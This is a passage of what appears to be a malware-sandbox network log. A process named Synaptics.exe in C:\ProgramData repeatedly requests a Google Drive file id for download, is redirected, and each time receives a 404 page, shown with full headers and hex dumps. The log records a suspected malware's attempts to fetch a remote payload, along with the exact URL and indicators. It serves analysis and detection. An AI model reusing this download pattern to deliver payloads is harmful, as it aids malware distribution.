Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49719	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:47 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce--97VnO8j9tR77phsF8o_eg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49721	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:47 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:10:47 UTC	1594	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7qbZfek9BT6MJEMjYhTUOh5fodrrqXrkF6ZoftTpzqtSJB2r-fNE5qL-RwhSC4R3LK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:47 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-4yk7taJWmJ2BrFNn8tZ4Ow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=hGHN74XvMhDFVOneuJejqr2XJjQQ_jC7waacGUlH4AYvcnAx13Qivz4JRRBfIRp3dc2vuFLTRwMz8FFkBLUOgQsMNTRHw39NYcI8XFKHIWjKMcqMXbtsOif0UI15ZeM81xNY-cFu-FQOQyrS43LA3s0wR4WbK3StyQMj4cXLrhPvugg8gKojM20; expires=Fri, 04-Jul-2025 19:10:47 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:47 UTC	1594	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 78 33 53 6e 58 64 76 49 4e 6d 32 4f 46 37 67 52 73 6b 71 5a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Qx3SnXdvINm2OF7gRskqZA">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:10:47 UTC	58	IN	Data Raw: 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: nd on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49723	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:47 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-nge9gouNia7TyHsObkVoCg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49722	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:47 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:10:48 UTC	1595	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6ypu8MGJP0jSCJfgAoFt65iUVkw_bIZwRSayyB9K6LWwL25-afmJOrVZ3tV1AnbRB6 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:48 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Jra8_l-zLZbOntkNh37KOw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep; expires=Fri, 04-Jul-2025 19:10:47 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:48 UTC	1595	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 76 31 4e 30 52 52 6b 63 2d 4b 62 2d 50 31 61 69 47 77 68 32 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Wv1N0RRkc-Kb-P1aiGwh2g">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:10:48 UTC	57	IN	Data Raw: 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: d on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49727	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:48 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-eIB3hOlLTa5ke3hKDh9Xtg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49728	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:48 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:10:49 UTC	1602	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7peKYs4STZJz9twPeqk0CGD6_YSHQMmwvzyPG5huwsOzkxR72QwYHbv-gQnivSvVPC9YQPuTs Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:48 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-_7TNu-6nmTeITMMhRKSxGQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d; expires=Fri, 04-Jul-2025 19:10:48 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:49 UTC	1602	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 65 63 55 4c 47 63 77 4d 6e 56 6d 6b 41 70 5a 2d 79 48 34 41 69 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ecULGcwMnVmkApZ-yH4Aig">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:10:49 UTC	50	IN	Data Raw: 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: is server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49729	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:48 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:49 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-s4gIMD1XNDeBgWvsnK8Gvg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49731	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:48 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=hGHN74XvMhDFVOneuJejqr2XJjQQ_jC7waacGUlH4AYvcnAx13Qivz4JRRBfIRp3dc2vuFLTRwMz8FFkBLUOgQsMNTRHw39NYcI8XFKHIWjKMcqMXbtsOif0UI15ZeM81xNY-cFu-FQOQyrS43LA3s0wR4WbK3StyQMj4cXLrhPvugg8gKojM20
2025-01-02 19:10:49 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4BYfK0NA3k7OaTj6lgg8sssMIlF8ssWRXg4_ZqV2REuqV2_AHUWjZxAkk3UZK1hZgE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:49 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-Z7U3-d3ad1OXTXfgBmp7QQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:49 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:10:49 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 36 37 57 63 6b 71 33 32 78 4f 45 4c 50 6d 38 30 76 42 73 37 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="567Wckq32xOELPm80vBs7w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:10:49 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49734	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:49 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:50 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:49 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-I1cvfZIN9MUpZ2cKt_GW2w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49735	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:49 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
